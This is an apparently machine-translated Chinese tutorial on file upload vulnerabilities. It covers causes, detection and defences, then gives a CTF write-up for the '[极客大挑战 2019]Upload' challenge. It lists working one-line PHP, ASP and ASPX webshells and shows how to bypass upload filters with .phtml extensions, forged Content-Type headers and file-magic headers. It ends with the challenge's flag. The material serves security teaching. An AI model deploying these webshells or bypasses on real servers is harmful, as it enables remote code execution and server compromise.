文件上传
什么是文件上传毛病
(一) 什么是文件上传
文件上传指的是将文件从个人计算机(当地计算机)发送到远程服务器上的功能。 很多Web应用都提供了该功能, 通常用户会以POST请求方式把文件内容举行上传。
(二) 什么是文件上传毛病
只要具有文件上传功能的地方都有可能存在文件上传毛病。
文件上传这个功能本身并不是毛病, 但是如果后端对用户上传的文件内容不举行校验大概校验不严格向服务器上传可实行的脚本语言文件, 获得实行服务器端系统下令的权限。- 漏洞产生的原因:
- 1. 服务器配置不当
- 2. 文件上传限制被绕过
- 3. 开源编辑器的上传漏洞
- 4. 文件解析漏洞导致文件执行
- 5. 过滤不严或被绕过
复制代码 (三) 文件上传毛病的危害
- 1. 代码执行: 服务器的web容器解释并执行了用户上传的脚本
- 2. 域控制: 黑客用以控制flash在该域下的行为
- 3. 网站挂马: 上传文件是病毒、木马
- 4. 钓鱼: 在某些版本的浏览器中会被作为脚本执行, 被用于钓鱼和欺诈
复制代码 (四) 毛病触发条件
- 1. 上传的文件内容成功被服务器解析并执行
- 2. 服务器返回上传路径或可以通过爆破获得文件名及路径
复制代码 (五) 文件上传检测方式
- 1. 客户端JavaScript检测
- 2. 服务端MIME类型检测
- 3. 服务端目录路径检测
- 4. 服务端文件扩展名检测
- 5. 服务端文件内容检测
复制代码 常见的一句话木马
什么是WebShell
WebShell就是以ASP、PHP、JSP大概CGI等网页文件形式存在的一种下令实行环境, 也可以将其称之为一种网页后门。
原理: 上传的文件中存在控制服务器的指令, 被分析实行, 从而到达攻击的目的。
PHP中常见代码实行函数: eval(), exec(), system()等。- php马: <?php @eval($_POST['a']);?>
- script马:
- asp马: <&eval Request("pass")%>
- aspx马: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"]);%>
复制代码 常见的WebShell管理工具
常见的文件上传毛病
(一) 文件类型检测
HTTP请求数据包中, 会使用 "Content-Type" 来表现具体请求中的媒体类型信息, 如果服务器端对 "Content-Type" 举行检测, 那么直接把其内容修改为合法的格式即可。
常见的媒体类型及格式如下:
(二) 文件后缀检测
文件后缀检测一般分为两种, 一个是黑白名单规定文件后缀类型, 还一个是对文件后缀和非法信息比较, 去除掉黑名单中的字符串后上传文件。
(三) 与文件包含联合
攻击者通过文件包含毛病获取上传路径, 然后上传恶意文件实施攻击。
文件上传毛病防御
- 1. 文件上传的目录设置为不可执行
- 2. 判断文件类型
- 3. 使用随机数改写文件名和文件路径
- 4. 单独设置文件服务器的域名
复制代码 例题:[极客大挑战 2019]Upload
点击url没发现文件名的后缀, 首先先实验shell1.php,可惜显示Not image!
实验修改文件后缀名和content-type,用burpsuite抓包举行修改:
- 将文件名修改为.phtml是为了绕过常规的php文件的后缀检测(尝试的第一步)
- 文件类型修改为: image/jpg
- 还得知道一个知识点phtml是啥?
- 答:phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析
复制代码
回显得知我们之前写的一句话木马是包含?>,故被过滤了,我们就需要修改我们所编写的一句话木马,根据上述笔记可以很轻松的写出来- 修改前的一句话木马:
- <?php @eval($_POST['shell']);?>
复制代码 我们将一句话木马举行修改看回显继承一步步走下去
由于后端对于内容的检测导致我们上传失败,实验用文件把戏头的方式举行绕过
推测路径在/upload下
验证正确,打开蚁剑举行连接
在根目录下,找到flag
- flag{efb4318a-cc77-4262-9b6e-8afced6e947d}
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |